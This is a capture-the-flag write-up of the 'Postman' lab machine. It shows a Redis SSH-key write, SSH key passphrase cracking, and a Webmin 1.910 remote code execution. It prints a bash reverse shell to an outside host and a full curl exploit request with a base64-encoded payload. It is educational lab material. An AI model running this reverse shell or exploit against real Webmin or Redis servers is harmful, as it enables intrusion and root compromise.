Summary

  • Postman is a relatively easy Linux box where we find a misconfigured Redis instance that allows for access without authentication.
  • We exploit that to write our public SSH key into Redis’ own authorized_keys file which gets us on the machine as the redis user.
  • While browsing the file system, we come across a passphrase-protected backup of a private SSH key belonging to a user called Matt.
  • Using ssh2john and john, we’re able to crack that key’s passphrase. However, using SSH didn’t work.
  • Because Matt was reusing the password, we used su to switch to his user from the shell that we had.
  • Trying to escalate our privileges, we found Webmin running as root. And also found its version (1.910) vulnerable.
  • The vulnerability could lead to Remote Code Exection if we had valid credentials for a user with access to install package updates.
  • We tested Matt’s credentials that we previously found and were able to authenticate successfully. We also had the necessary privileges.
  • We owned the box using both Metasploit and also using curl after taking some time to observe and manually recreate the exploit ourselves.

NMAP

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Cyber Geek's Personal Website
|_http-server-header: Apache/2.4.29 (Ubuntu)
6379/tcp  open  redis   Redis key-value store 
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-server-header: MiniServ/1.910
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The nmap scan shows a standard SSH port as well as HTTP on port 80.

what’s unique here is both /Redis on port 6379 and Webmin on port 10000.

Testing Redis and Exploiting Misconfiguration for RCE

Because it can lead to a very quick RCE if not configured with authentication, we try Redis first.

we can connect to it with a simple command:

redis-cli -h 10.10.10.160

Note: you can install the redis-cli tool using apt install redis-tools

after connecting, we get a prompt. so we run info as a basic command to check if we have access or not.

and we do!

One of the ways to gain Remote Code Execution through Redis is through modifying the redis user’s SSH files. It’s fully-explained here.

since /var/lib/redis/.ssh is Redis’ default SSH directory, we will attempt to add our own public key to its authorized_keys file.

we first generate our own key pair using ssh-keygen

then echo the public key (wrapped around double new lines) into redis-cli with the -x flag to take input from STDIN

and proceed with the same steps as below.

Note: for a breakdown of what each command does, you can refer to the official documentation.

having recieved the expected responses, we go ahead and try connecting with the redis user:

we’re good to go :D

Pivoting to Matt

After getting on the box, and while checking the file system, we visit the /opt directory (since it may contain interesting files).

we had a finding there:

it seems like a passphrase-protected backup of Matt’s private SSH key.

we’re going to use ssh2john to get a hash in a crackable format for john.

sucessfully cracked with rockyou.txt we should be able to SSH now.

but we couldn’t :/

the next thing we tried was using su from our existing shell.

which worked.

Exploiting Webmin for Privilege Escalation

From the nmap scan, we noticed that Webmin’s version is 1.910.

and, because its process is running as root, we know we should check this out.

we get plenty of results when Googling for exploits:

we decided to check the Exploit-DB one.

being a verified Metasploit Module, we can expect a well-written exploit :)

from its description, this seems like it requires a valid user.

to check our credentials, we visit port 10000.

we get redirected to HTTPS and the hostname changes to postman.

when we try logging in as Matt using the same password computer2008, we get authenticated.

Matt was reusing the password here as well :)

furthermore, we seem to have the needed privilege (to update packages). we confirmed this by clicking the link highlighted above.

Exploitation the quick and easy way: Metasploit

After setting,

  • RHOSTS
  • USERNAME and PASSWORD
  • SSL to true
  • LHOST and LPORT

then running the exploit,

we get an easy shell as root

Understanding and Mimicking the exploit with curl

Looking at the exploit code, we find six functions defined:

initialize sets up the module’s properties.

peer seems to adjust the url based on whether it’s HTTP or HTTPS to be later used in the Referer header.

the login function is self-descriptive :) it logs in and retrieves the sid cookie.

check verifies if the version is indeed the vulnerable one (1.910) and if our user has the privilege to update packages.

run_update sends a POST request with both the sid cookie and the Referer header.

It then uses a base64-encoded payload for execution (demonstrated later).

notice the POST data as well.

and finally, exploit calls the login function followed by run-update to perform the exploitation.

to see how the base64-encoded payload works, we try a simple id command:

it’s basically an echo with command encoded in base64 to avoid bad characters.

then it’s passed to base64 with -d to decode it before piping it to bash with the -i flag to execute it interactively.

to get a bash reverse shell, we’re going to replace the id command with this one-liner:

bash -i >& /dev/tcp/10.10.16.9/9000 0>&1

and then encode it as base64 before placing it within the main payload:

bash -c "{echo,'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45LzkwMDAgMD4mMQ=='}|{base64,-d}|{bash,-i}"

then finally URL-encode all that to be part of the POST data:

bash%20-c%20%22%7Becho%2C%27YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNi45LzkwMDAgMD4mMQ%3D%3D%27%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22

to access the authenticated page, we’re also going to grab Matt’s sid cookie from the browser. (The extension used here is called “Cookie Editor”)

and add it to create our own curl variant of the exploit:

  • -k to allow insecure connections with SSL
  • -s and -o /dev/null to supress the noisy output
  • -X POST to set the request method
  • -b to add the sid cookie
  • -H for adding the Referer header
  • -d to fill out the POST data

together, it should look like this:

curl -k -s -o /dev/null \
-X POST \
-b "sid=2d2cc255b41d67cb4dc38ef0dbfb2ad7" \
-H "Referer: https://10.10.10.160:10000/package-updates/update.cgi?xnavigation=1" \
-d "u=acl%2Fapt&u=%20%7C%20bash%20-c%20%22%7Becho%2C%27YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNi45LzkwMDAgMD4mMQ%3D%3D%27%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22&ok_top=Update+Selected+Packages" \
https://10.10.10.160:10000/package-updates/update.cgi

after starting our netcat listener, we issue the command and get back a sweet reverse shell.

Pretty nice :)